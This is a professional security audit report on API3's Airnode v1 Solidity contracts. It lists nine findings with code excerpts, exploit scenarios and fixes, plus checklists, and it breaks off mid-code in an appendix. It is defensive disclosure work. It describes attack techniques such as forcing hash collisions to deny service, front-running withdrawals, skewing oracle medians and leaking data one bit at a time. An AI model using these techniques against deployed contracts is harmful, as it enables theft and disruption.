API3

Security Assessment

March 30, 2022

Prepared for:
Burak Benligiray
API3

Prepared by: **Simone Monica, Felipe Manzano, and Fredrik Dahlgren**

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 80+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at https://github.com/trailofbits/publications, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom.

Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash.

To keep up to date with our latest news and announcements, please follow @trailofbits on Twitter and explore our public repositories at https://github.com/trailofbits. To engage us directly, visit our "Contact" page at https://www.trailofbits.com/contact, or email us at info@trailofbits.com.

Trail of Bits, Inc.
228 Park Ave S #80688
New York, NY 10003
https://www.trailofbits.com
info@trailofbits.com

Notices and Remarks

Copyright and Distribution

Test Coverage Disclaimer

All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and mutually agreed upon project plan.

Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project.

Table of Contents

Executive Summary

Engagement Overview

API3 engaged Trail of Bits to review the security of its smart contracts. From February 7 to March 4, 2022, a team of three consultants conducted a security review of the client-provided source code, with eight person-weeks of effort. Details of the project's timeline, test targets, and coverage are provided in subsequent sections of this report.

Project Scope

Our testing efforts were focused on the identification of flaws that could result in a compromise of confidentiality, integrity, or availability of the target system. We conducted this audit with full knowledge of the target system, including access to the source code and documentation. We performed a manual review of the project's Solidity code, in addition to running system elements.

Summary of Findings

The audit uncovered one significant flaw that could impact system confidentiality, integrity, or availability. A summary of the findings and details on the most notable finding are provided below.

EXPOSURE ANALYSIS

Severity	*Count*
High	2
Medium	2
Low	2
Informational	2
Undetermined	1

CATEGORY BREAKDOWN

Category	*Count*
Access Controls	1
Data Validation	3
Patching	1
Timing	1
Undefined Behavior	3

Notable Findings

A significant flaw that impacts system availability is described below.

- **Risk of `subscriptionId` collisions (TOB-API-1)**
  In the publish-subscribe protocol, `subscriptionId` values represent the positions of certain data structures in a mapping. Each `subscriptionId` is computed as a hash of a data structure's field values. Because the system uses `abi.encodePacked` with more than one dynamic type, it is possible to craft a `subscriptionId` collision by providing invalid field values, causing the requester using the `subscriptionId` to experience a denial of service (DoS).

Project Summary

Contact Information

The following managers were associated with this project:

Dan Guido, Account Manager
dan@trailofbits.com

Sam Greenup, Project Manager
sam.greenup@trailofbits.com

The following engineers were associated with this project:

Simone Monica, Consultant
simone.monica@trailofbits.com

Felipe Manzano, Consultant
felipe@trailofbits.com

Fredrik Dahlgren, Consultant
fredrik.dahlgren@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
February 3, 2022	Pre-project kickoff call
February 14, 2022	Status update meeting #1
February 24, 2022	Status update meeting #2
March 2, 2022	Status update meeting #3
March 7, 2022	Delivery of report draft and report readout meeting
March 25, 2022	Addition of Fix Log (appendix F)

Project Goals

The engagement was scoped to provide a security assessment of the API3 protocol. Specifically, we sought to answer the following non-exhaustive list of questions:

- Are there appropriate access controls in place for user and admin operations?
- Could an attacker trap the system?
- Are there any DoS attack vectors?
- Do all functions have appropriate input validation?
- Could a requester be whitelisted without making the necessary payment?
- Could a sponsor withdraw more funds than the sponsor deposited?
- Could a depositor front-run a request-blocking transaction?
- Is it possible to modify an Airnode's response?

Project Targets

The engagement involved a review and testing of the target listed below.

airnode-protocol-v1

Repository	https://github.com/api3dao/airnode/tree/v1-protocol
Version	`991af4d69e82c1954a5c6c8e247cde8eb76101de`
Type	Solidity
Platform	Ethereum

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches and their results include the following:

- **`protocol/`.** The `AirnodeProtocol` contract, a singleton contract, manages access to off-chain resources called Airnodes. To provide requesters access to Airnodes, sponsors fund Airnode-controlled sponsor wallets. The `AirnodeProtocol` contract can also store subscriptions and premade request templates and refund departing sponsors. We performed static analysis and a manual review to test the contract's behavior, input validation, access controls, management of subscription and sponsorship statuses, template storage, and sponsor withdrawal options.

- **`access-control-registry/`.** This single contract allows users to manage independent tree-shaped access control tables and is referred to by other protocol contracts. It is built on top of OpenZeppelin's `AccessControl` contract. We used static analysis and a manual review to test the soundness of its complex role-derivation mechanism.

- **`monetization/`.** The `monetization` contracts enable requesters to be whitelisted indefinitely, by depositing a certain amount of API3 tokens, or temporarily, by providing a stablecoin payment. We manually reviewed the contracts, checking that critical operations can be performed by only certain roles, that funds cannot become stuck or be withdrawn by the wrong account, and that the basic whitelisting functionality behaves as expected.

- **`authorizers/` and `whitelist/`.** The `authorizers` and `whitelist` contracts hold a registry of authorized requesters. They allow permissioned users and users who have made a payment on a requester's behalf to temporarily or indefinitely whitelist a requester.

- **`allocators/`.** The `allocators` contracts indicate which subscriptions an Airnode needs to serve in the publish-subscribe protocol. Airnodes and relayers act on the data managed by these contracts. We performed static analysis and a manual review to test the contracts' behavior, input validation, and access controls.

- **`dapis/`.** The `DapiServer` contract implements the publish-subscribe protocol, in which Airnodes provide values for a data feed, and the median of those values represents a dAPI (a decentralized API). We focused on checking whether a user could read reported data on-chain without having been whitelisted.

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. During this project, we were unable to perform comprehensive testing of the off-chain Airnode component. The architecture is heavily reliant on this component, which must check whether a requester has been whitelisted before replying to a request. We assumed the behavior of this component to be correct, but it may warrant further review.

Codebase Maturity Evaluation

Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

Category	Summary	Result
Arithmetic	The system uses Solidity 0.8 with native overflow / underflow support throughout. However, the need to manually update the price of a token could be problematic and should be better documented.	Satisfactory
Auditing	The API3 codebase emits events sufficient for monitoring on-chain activity. However, the documentation lacks information on the use of off-chain components in behavior monitoring as well as a formal incident response plan.	Moderate
Authentication / Access Controls	The system correctly applies access controls to most of the functions. However, the `conditionPspDapiUpdate` function (TOB-API-8) lacks strict access controls, and there is no documentation clearly defining the abilities and limitations of the roles in the system.	Satisfactory
Complexity Management	The system uses a significant amount of inheritance, which makes parts of the codebase difficult to understand. Most of the functions in the codebase are small and have clear, narrow purposes, but some have incorrect NatSpec comments that misrepresent their implementation.	Moderate
Decentralization	The API3 smart contracts are not upgradeable. However, the system includes privileged actors and would benefit from more detailed documentation on their abilities and the ways they are controlled (e.g., by an externally owned account, through a multi-signature wallet, by a decentralized autonomous organization, etc.).	Moderate

Documentation	The API3 whitepaper provides a high-level explanation of the product; however, the documentation is out of date, and some comments are inconsistent with the implementation.	Moderate
Front-Running Resistance	The system is vulnerable to front-running; specifically, depositors can front-run request-blocking transactions (TOB-API-4). We recommend increasing the on-chain protections against front-running.	Moderate
Low-Level Manipulation	The use of low-level calls is limited. Some low-level calls are necessary, but their consequences could be better documented in code comments.	Satisfactory
Testing and Verification	The unit test line coverage is high. However, the test suite does not cover enough cases (TOB-API-3).	Moderate

Summary of Findings

The table below summarizes the findings of the review, including type and severity details.

ID	Title	Type	Severity
1	Publish-subscribe protocol users are vulnerable to a denial of service	Data Validation	High
2	Solidity compiler optimizations can be problematic	Undefined Behavior	Informational
3	Decisions to opt out of a monetization scheme are irreversible	Undefined Behavior	Medium
4	Depositors can front-run request-blocking transactions	Timing	Medium
5	Incompatibility with non-standard ERC20 tokens	Data Validation	Low
6	Compromise of a single oracle enables limited control of the dAPI value	Data Validation	High
7	Project dependencies contain vulnerabilities	Patching	Undetermined
8	DapiServer beacon data is accessible to all users	Access Controls	Low
9	Misleading function name	Undefined Behavior	Informational

Detailed Findings

1. Publish-subscribe protocol users are vulnerable to a denial of service	
Severity: **High**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-API-1
Target: `airnode-protocol-v1/contracts/protocol/StorageUtils.sol`	

Description

The API3 system implements a publish-subscribe protocol through which a requester can receive a callback from an API when specified conditions are met. These conditions can be hard-coded when the Airnode is configured or stored on-chain. When they are stored on-chain, the user can call `storeSubscription` to establish other conditions for the callback (by specifying `parameters` and `conditions` arguments of type `bytes`). The arguments are then used in `abi.encodePacked`, which could result in a `subscriptionId` collision.

```
    function storeSubscription(
        [...]
        bytes calldata parameters,
        bytes calldata conditions,
        [...]
    ) external override returns (bytes32 subscriptionId) {
        [...]
        subscriptionId = keccak256(
            abi.encodePacked(
                chainId,
                airnode,
                templateId,
                parameters,
                conditions,
                relayer,
                sponsor,
                requester,
                fulfillFunctionId
            )
        );
        subscriptions[subscriptionId] = Subscription({
            chainId: chainId,
            airnode: airnode,
            templateId: templateId,
            parameters: parameters,
            conditions: conditions,
            relayer: relayer,
            sponsor: sponsor,
            requester: requester,
            fulfillFunctionId: fulfillFunctionId
        });
```

Figure 1.1: `StorageUtils.sol#L135-L158`

The Solidity documentation includes the following warning:

> *If you use keccak256(abi.encodePacked(a, b)) and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of a into b and vice-versa. More specifically, abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c"). If you use abi.encodePacked for signatures, authentication or data integrity, make sure to always use the same types and check that at most one of them is dynamic. Unless there is a compelling reason, abi.encode should be preferred.*

Figure 1.2: The Solidity documentation details the risk of a collision caused by the use of `abi.encodePacked` with more than one dynamic type.

Exploit Scenario

Alice calls `storeSubscription` to set the conditions for a callback from a specific API to her smart contract. Eve, the owner of a competitor protocol, calls `storeSubscription` with the same arguments as Alice but moves the last byte of the `parameters` argument to the beginning of the `conditions` argument. As a result, the Airnode will no longer report API results to Alice's smart contract.

Recommendations

Short term, use `abi.encode` instead of `abi.encodePacked`.

Long term, carefully review the Solidity documentation, particularly the "Warning" sections regarding the pitfalls of `abi.encodePacked`.

2. Solidity compiler optimizations can be problematic

Severity: **Informational**	Difficulty: **Low**
Type: Undefined Behavior	Finding ID: TOB-API-2
Target: `airnode-protocol-v1/hardhat.config.ts`	

Description
The API3 contracts have enabled optional compiler optimizations in Solidity.

There have been several optimization bugs with security implications. Moreover, optimizations are actively being developed. Solidity compiler optimizations are disabled by default, and it is unclear how many contracts in the wild actually use them. Therefore, it is unclear how well they are being tested and exercised.

High-severity security issues due to optimization bugs have occurred in the past. A high-severity bug in the `emscripten`-generated `solc-js` compiler used by Truffle and Remix persisted until late 2018. The fix for this bug was not reported in the Solidity CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results was patched in Solidity 0.5.6. More recently, another bug due to the incorrect caching of `keccak256` was reported.

A compiler audit of Solidity from November 2018 concluded that the optional optimizations may not be safe.

It is likely that there are latent bugs related to optimization and that new bugs will be introduced due to future optimizations.

Exploit Scenario
A latent or future bug in Solidity compiler optimizations—or in the Emscripten transpilation to `solc-js`—causes a security vulnerability in the API3 contracts.

Recommendations
Short term, measure the gas savings from optimizations and carefully weigh them against the possibility of an optimization-related bug.

Long term, monitor the development and adoption of Solidity compiler optimizations to assess their maturity.

3. Decisions to opt out of a monetization scheme are irreversible

Severity: **Medium**	Difficulty: **Low**
Type: Undefined Behavior	Finding ID: TOB-API-3
Target: `airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitelisterWithToken.sol`	

Description

The API3 protocol implements two on-chain monetization schemes. If an Airnode owner decides to opt out of a scheme, the Airnode will not receive additional token payments or deposits (depending on the scheme).

Although the documentation states that Airnodes can opt back in to a scheme, the current implementation does not allow it.

```
/// @notice If the Airnode is participating in the scheme implemented by
/// the contract:
/// Inactive: The Airnode is not participating, but can be made to
/// participate by a mantainer
/// Active: The Airnode is participating
/// OptedOut: The Airnode actively opted out, and cannot be made to
/// participate unless this is reverted by the Airnode
mapping(address => AirnodeParticipationStatus)
    public
    override airnodeToParticipationStatus;
```

Figure 3.1: `RequesterAuthorizerWhitelisterWithToken.sol#L59-L68`

```
/// @notice Sets Airnode participation status
/// @param airnode Airnode address
/// @param airnodeParticipationStatus Airnode participation status
function setAirnodeParticipationStatus(
    address airnode,
    AirnodeParticipationStatus airnodeParticipationStatus
) external override onlyNonZeroAirnode(airnode) {
    if (msg.sender == airnode) {
        require(
            airnodeParticipationStatus ==
                AirnodeParticipationStatus.OptedOut,
            "Airnode can only opt out"
        );
    } else {
        [...]
```

Figure 3.2: `RequesterAuthorizerWhitelisterWithToken.sol#L229-L242`

Exploit Scenario

Bob, an Airnode owner, decides to temporarily opt out of a scheme, believing that he will be able to opt back in; however, he later learns that that is not possible and that his Airnode will be unable to accept any new requesters.

Recommendations

Short term, adjust the `setAirnodeParticipationStatus` function to allow Airnodes that have opted out of a scheme to opt back in.

Long term, write extensive unit tests that cover all of the expected pre- and postconditions. Unit tests could have uncovered this issue.

4. Depositors can front-run request-blocking transactions	
Severity: **Medium**	Difficulty: **High**
Type: Timing	Finding ID: TOB-API-4
Target: `airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitelisterWithToken.sol`, `RequesterAuthorizerWhitelisterWithTokenDeposit.sol`	

Description

A depositor can front-run a request-blocking transaction and withdraw his or her deposit.

The `RequesterAuthorizerWhitelisterWithTokenDeposit` contract enables a user to indefinitely whitelist a requester by depositing tokens on behalf of the requester.

A manager or an address with the blocker role can call `setRequesterBlockStatus` or `setRequesterBlockStatusForAirnode` with the address of a requester to block that user from submitting requests; as a result, any user who deposited tokens to whitelist the requester will be blocked from withdrawing the deposit. However, because one can execute a withdrawal immediately, a depositor could monitor the transactions and call `withdrawTokens` to front-run a blocking transaction.

Exploit Scenario

Eve deposits tokens to whitelist a requester. Because the requester then uses the system maliciously, the manager blacklists the requester, believing that the deposited tokens will be seized. However, Eve front-runs the transaction and withdraws the tokens.

Recommendations

Short term, implement a two-step withdrawal process in which a depositor has to express his or her intention to withdraw a deposit and the funds are then unlocked after a waiting period.

Long term, analyze all possible front-running risks in the system.

5. Incompatibility with non-standard ERC20 tokens

Severity: **Low**	Difficulty: **Medium**
Type: Data Validation	Finding ID: TOB-API-5
Target: `airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitelisterWithTokenDeposit.sol`, `RequesterAuthorizerWhitelisterWithTokenPayment.sol`	

Description
The `RequesterAuthorizerWhitelisterWithTokenPayment` and `RequesterAuthorizerWhitelisterWithTokenDeposit` contracts are meant to work with any ERC20 token. However, several high-profile ERC20 tokens do not correctly implement the ERC20 standard. These include USDT, BNB, and OMG, all of which have a large market cap.

The ERC20 standard defines two transfer functions, among others:

- `transfer(address _to, uint256 _value) public returns (bool success)`
- `transferFrom(address _from, address _to, uint256 _value) public returns (bool success)`

These high-profile ERC20 tokens do not return a boolean when at least one of the two functions is executed. As of Solidity 0.4.22, the size of return data from external calls is checked. As a result, any call to the `transfer` or `transferFrom` function of an ERC20 token with an incorrect return value will fail.

Exploit Scenario
Bob deploys the `RequesterAuthorizerWhitelisterWithTokenPayment` contract with USDT as the token. Alice wants to pay for a requester to be whitelisted and calls `payTokens`, but the `transferFrom` call fails. As a result, the contract is unusable.

Recommendations
Short term, consider using the OpenZeppelin SafeERC20 library or adding explicit support for ERC20 tokens with incorrect return values.

Long term, adhere to the token integration best practices outlined in appendix C.

6. Compromise of a single oracle enables limited control of the dAPI value	
Severity: **High**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-API-6
Target: `airnode-protocol-v1/contracts/dapis/DapiServer.sol`	

Description

By compromising only one oracle, an attacker could gain control of the median price of a dAPI and set it to a value within a certain range.

The dAPI value is the median of all values provided by the oracles. If the number of oracles is odd (i.e., the median is the value in the center of the ordered list of values), an attacker could skew the median, setting it to a value between the lowest and highest values submitted by the oracles.

Exploit Scenario

There are three available oracles: O_0, with a price of 603; O_1, with a price of 598; and O_2, which has been compromised by Eve. Eve is able to set the median price to any value in the range `[598, 603]`. Eve can then turn a profit by adjusting the rate when buying and selling assets.

Recommendations

Short term, be mindful of the fact that there is no simple fix for this issue; regardless, we recommend implementing off-chain monitoring of the `DapiServer` contracts to detect any suspicious activity.

Long term, assume that an attacker may be able to compromise some of the oracles. To mitigate a partial compromise, ensure that dAPI value computations are robust.

7. Project dependencies contain vulnerabilities	
Severity: **Undetermined**	Difficulty: **Undetermined**
Type: Patching	Finding ID: TOB-API-7
Target: `packages/`	

Description

The execution of `yarn audit` identified dependencies with known vulnerabilities. Due to the sensitivity of the deployment code and its environment, it is important to ensure dependencies are not malicious. Problems with dependencies in the JavaScript community could have a significant effect on the repositories under review. The output below details these issues.

CVE ID	Description	Dependency
CVE-2022-0536	Exposure of Sensitive Information to an Unauthorized Actor	`follow-redirects`
CVE-2021-23555	Sandbox bypass	`vm2`

Figure 7.1: Advisories affecting the `packages/` dependencies

Exploit Scenario

Alice installs the dependencies of the in-scope repository on a clean machine. Unbeknownst to Alice, a dependency of the project has become malicious or exploitable. Alice subsequently uses the dependency, disclosing sensitive information to an unknown actor.

Recommendations

Short term, ensure dependencies are up to date. Several node modules have been documented as malicious because they execute malicious code when installing dependencies to projects. Keep modules current and verify their integrity after installation.

Long term, consider integrating automated dependency auditing into the development workflow. If a dependency cannot be updated when a vulnerability is disclosed, ensure that the codebase does not use and is not affected by the vulnerable functionality of the dependency.

8. DapiServer beacon data is accessible to all users

Severity: **Low**	Difficulty: **High**
Type: Access Controls	Finding ID: TOB-API-8
Target: `airnode-protocol-v1/contracts/dapis/DapiServer.sol`	

Description

The lack of access controls on the `conditionPspDapiUpdate` function could allow an attacker to read private data on-chain.

The `dataPoints[]` mapping contains private data that is supposed to be accessible on-chain only by whitelisted users. However, any user can call `conditionPspDapiUpdate`, which returns a boolean that depends on arithmetic over `dataPoint`:

```
    /// @notice Returns if the respective dAPI needs to be updated based on the
    /// condition parameters
    /// @dev This method does not allow the caller to indirectly read a dAPI,
    /// which is why it does not require the sender to be a void signer with
    /// zero address.
    [...]
    function conditionPspDapiUpdate(
        bytes32 subscriptionId, // solhint-disable-line no-unused-vars
        bytes calldata data,
        bytes calldata conditionParameters
    ) external override returns (bool) {
        bytes32 dapiId = keccak256(data);
        int224 currentDapiValue = dataPoints[dapiId].value;
        require(
            dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))),
            "Data length not correct"
        );
        return
            calculateUpdateInPercentage(
                currentDapiValue,
                dataPoints[dapiId].value
            ) >= decodeConditionParameters(conditionParameters);
    }
```

Figure 8.1: `dapis/DapiServer.sol:L468-L502`

An attacker could abuse this function to deduce one bit of data per call (to determine, for example, whether a user's account should be liquidated). An attacker could also automate the process of accessing one bit of data to extract a larger amount of information by using a mechanism such as a dichotomic search. An attacker could therefore infer the value of `dataPoint` directly on-chain.

Exploit Scenario

Eve, who is not whitelisted, wants to read a beacon value to determine whether a certain user’s account should be liquidated. Using the code provided in appendix E, she is able to confirm that the beacon value is greater than or equal to a certain threshold.

Recommendations

Short term, implement access controls to limit who can call `conditionPspDapiUpdate`.

Long term, document all read and write operations related to `dataPoint`, and highlight their access controls. Additionally, consider implementing an off-chain monitoring system to detect any suspicious activity.

9. Misleading function name

Severity: **Informational**	Difficulty: **Low**
Type: Undefined Behavior	Finding ID: TOB-API-9
Target: `airnode-protocol-v1/contracts/dapis/DapiServer.sol`	

Description

The `conditionPspDapiUpdate` function always updates the `dataPoints` storage variable (by calling `updateDapiWithBeacons`), even if the function returns `false` (i.e., the condition for updating the variable is not met). This contradicts the code comment and the behavior implied by the function's name.

```
    /// @notice Returns if the respective dAPI needs to be updated based on the
    /// condition parameters
    [...]
    function conditionPspDapiUpdate(
        bytes32 subscriptionId, // solhint-disable-line no-unused-vars
        bytes calldata data,
        bytes calldata conditionParameters
    ) external override returns (bool) {
        bytes32 dapiId = keccak256(data);
        int224 currentDapiValue = dataPoints[dapiId].value;
        require(
            dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))),
            "Data length not correct"
        );
        return
            calculateUpdateInPercentage(
                currentDapiValue,
                dataPoints[dapiId].value
            ) >= decodeConditionParameters(conditionParameters);
    }
```

Figure 9.1: `dapis/DapiServer.sol#L468-L502`

Recommendations

Short term, revise the documentation to inform users that a call to `conditionPspDapiUpdate` will update the dAPI even if the function returns `false`. Alternatively, develop a function similar to `updateDapiWithBeacons` that returns the updated value without actually updating it.

Long term, ensure that functions' names reflect the implementation.

Summary of Recommendations

The API3 smart contracts represent a new iteration of the protocol. Trail of Bits recommends that API3 address the findings detailed in this report and take the following additional step prior to deployment:

- Write updated documentation on the expected behavior of all functions in the system.

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories

Category	Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	**Description**
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	**Description**
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	
Category	**Description**
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication / Access Controls	The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Decentralization	The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades
Documentation	The presence of comprehensive and readable codebase documentation
Front-Running Resistance	The system's resistance to front-running attacks
Low-Level Manipulation	The justified use of inline assembly and low-level calls
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage

Rating Criteria	
Rating	**Description**
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.
Weak	Many issues that affect system safety were found.
Missing	A required component is missing, significantly affecting system safety.
Not Applicable	The category is not applicable to this review.
Not Considered	The category was not considered in this review.
Further Investigation Required	Further investigation is required to reach a meaningful conclusion.

C. Token Integration Checklist

The following checklist provides recommendations for interactions with arbitrary tokens. Every unchecked item should be justified, and its associated risks, understood. For an up-to-date version of the checklist, see `crytic/building-secure-contracts`.

For convenience, all Slither utilities can be run directly on a token address, such as the following:

```
slither-check-erc 0xdac17f958d2ee523a2206206994597c13d831ec7 TetherToken --erc erc20
slither-check-erc 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d KittyCore --erc erc721
```

To follow this checklist, use the below output from Slither for the token:

```
slither-check-erc [target] [contractName] [optional: --erc ERC_NUMBER]
slither [target] --print human-summary
slither [target] --print contract-summary
slither-prop . --contract ContractName # requires configuration, and use of Echidna
and Manticore
```

General Considerations

- ❏ **The contract has a security review.** Avoid interacting with contracts that lack a security review. Check the length of the assessment (i.e., the level of effort), the reputation of the security firm, and the number and severity of the findings.

- ❏ **You have contacted the developers.** You may need to alert their team to an incident. Look for appropriate contacts on `blockchain-security-contacts`.

- ❏ **They have a security mailing list for critical announcements.** Their team should advise users (like you!) when critical issues are found or when upgrades occur.

Contract Composition

- ❏ **The contract avoids unnecessary complexity.** The token should be a simple contract; a token with complex code requires a higher standard of review. Use Slither's `human-summary` printer to identify complex code.

- ❏ **The contract uses `SafeMath`.** Contracts that do not use `SafeMath` require a higher standard of review. Inspect the contract by hand for `SafeMath` usage.

- ❏ **The contract has only a few non-token-related functions.** Non-token-related functions increase the likelihood of an issue in the contract. Use Slither's `contract-summary` printer to broadly review the code used in the contract.

- ❏ **The token has only one address.** Tokens with multiple entry points for balance updates can break internal bookkeeping based on the address (e.g., `balances[token_address][msg.sender]` may not reflect the actual balance).

Owner Privileges

- ❏ **The token is not upgradeable.** Upgradeable contracts may change their rules over time. Use Slither's `human-summary` printer to determine whether the contract is upgradeable.

- ❏ **The owner has limited minting capabilities.** Malicious or compromised owners can abuse minting capabilities. Use Slither's `human-summary` printer to review minting capabilities, and consider manually reviewing the code.

- ❏ **The token is not pausable.** Malicious or compromised owners can trap contracts relying on pausable tokens. Identify pausable code by hand.

- ❏ **The owner cannot blacklist the contract.** Malicious or compromised owners can trap contracts relying on tokens with a blacklist. Identify blacklisting features by hand.

- ❏ **The team behind the token is known and can be held responsible for abuse.** Contracts with anonymous development teams or teams that reside in legal shelters require a higher standard of review.

ERC20 Tokens

ERC20 Conformity Checks

Slither includes a utility, `slither-check-erc`, that reviews the conformance of a token to many related ERC standards. Use `slither-check-erc` to review the following:

- ❏ **`Transfer` and `transferFrom` return a boolean.** Several tokens do not return a boolean on these functions. As a result, their calls in the contract might fail.

- ❏ **The `name`, `decimals`, and `symbol` functions are present if used.** These functions are optional in the ERC20 standard and may not be present.

- ❏ **`Decimals` returns a `uint8`.** Several tokens incorrectly return a `uint256`. In such cases, ensure that the value returned is below 255.

- ❏ **The token mitigates the known ERC20 race condition.** The ERC20 standard has a known ERC20 race condition that must be mitigated to prevent attackers from stealing tokens.

Slither includes a utility, `slither-prop`, that generates unit tests and security properties that can discover many common ERC flaws. Use `slither-prop` to review the following:

- ❏ **The contract passes all unit tests and security properties from `slither-prop`.** Run the generated unit tests and then check the properties with Echidna and Manticore.

Risks of ERC20 Extensions

The behavior of certain contracts may differ from the original ERC specification. Conduct a manual review of the following conditions:

- ❏ **The token is not an ERC777 token and has no external function call in `transfer` or `transferFrom`.** External calls in the transfer functions can lead to reentrancies.
- ❏ **`Transfer` and `transferFrom` should not take a fee.** Deflationary tokens can lead to unexpected behavior.
- ❏ **Potential interest earned from the token is taken into account.** Some tokens distribute interest to token holders. This interest may be trapped in the contract if not taken into account.

Token Scarcity

Reviews of token scarcity issues must be executed manually. Check for the following conditions:

- ❏ **The supply is owned by more than a few users.** If a few users own most of the tokens, they can influence operations based on the tokens' repartition.
- ❏ **The total supply is sufficient.** Tokens with a low total supply can be easily manipulated.
- ❏ **The tokens are located in more than a few exchanges.** If all the tokens are in one exchange, a compromise of the exchange could compromise the contract relying on the token.
- ❏ **Users understand the risks associated with a large amount of funds or flash loans.** Contracts relying on the token balance must account for attackers with a large amount of funds or attacks executed through flash loans.
- ❏ **The token does not allow flash minting.** Flash minting can lead to substantial swings in the balance and the total supply, which necessitate strict and comprehensive overflow checks in the operation of the token.

D. Code Quality Recommendations

The following recommendations are not associated with specific vulnerabilities. However, they enhance code readability and may prevent the introduction of vulnerabilities in the future.

General Recommendations

- **To reduce gas costs, make variables immutable whenever possible.**

```
bytes32 public registrarRole;
[...]
 constructor(
      address _accessControlRegistry,
      string memory _adminRoleDescription,
      address _manager
  )
      AccessControlRegistryAdminnedWithManager(
          _accessControlRegistry,
          _adminRoleDescription,
          _manager
      )
  {
      registrarRole = _deriveRole(adminRole, REGISTRAR_ROLE_DESCRIPTION);
  }
```

Figure D.1: `utils/RegistryRolesWithManager.sol:L17`

- **To improve readability, use abstract contracts for contracts that should not be deployed.**

- **Improve the NatSpec comments.** Certain comments misrepresent the implementation.

```
 /// @dev If the `templateId` is zero, the fulfillment will be made with
 /// `parameters` being used as fulfillment data
 [...]
 function makeRequest(
      address airnode,
      bytes32 templateId,
      bytes calldata parameters,
      address sponsor,
      bytes4 fulfillFunctionId
  ) external override returns (bytes32 requestId) {
      require(airnode != address(0), "Airnode address zero");
      require(templateId != bytes32(0), "Template ID zero");
```

Figure D.2: `protocol/AirnodeProtocol.sol:L39-L56`

`AddressRegistry.sol`

- **Remove the onlyRegistrarOrManager modifier from _registerAddress.** The _registerAddress function is called only from registerChainRequesterAuthorizer, which is already protected by the onlyRegistrarOrManager modifier.

```
function _registerAddress(bytes32 id, address address_)
     internal
     onlyRegistrarOrManager
```

Figure D.3: utils/AddressRegistry.sol:L45-L47

```
   function registerChainRequesterAuthorizer(
     uint256 chainId,
     address requesterAuthorizer
 ) external override onlyRegistrarOrManager {
   [...]
    _registerAddress(
         keccak256(abi.encodePacked(chainId)),
         requesterAuthorizer
     );
```

Figure D.4: monetization/RequesterAuthorizerRegistry.sol:L29-L39

AccessControlRegistry.sol

- **Replace the deprecated _setupRole function with _grantRole.**

```
function initializeManager(address manager) public override {
     require(manager != address(0), "Manager address zero");
     bytes32 rootRole = deriveRootRole(manager);
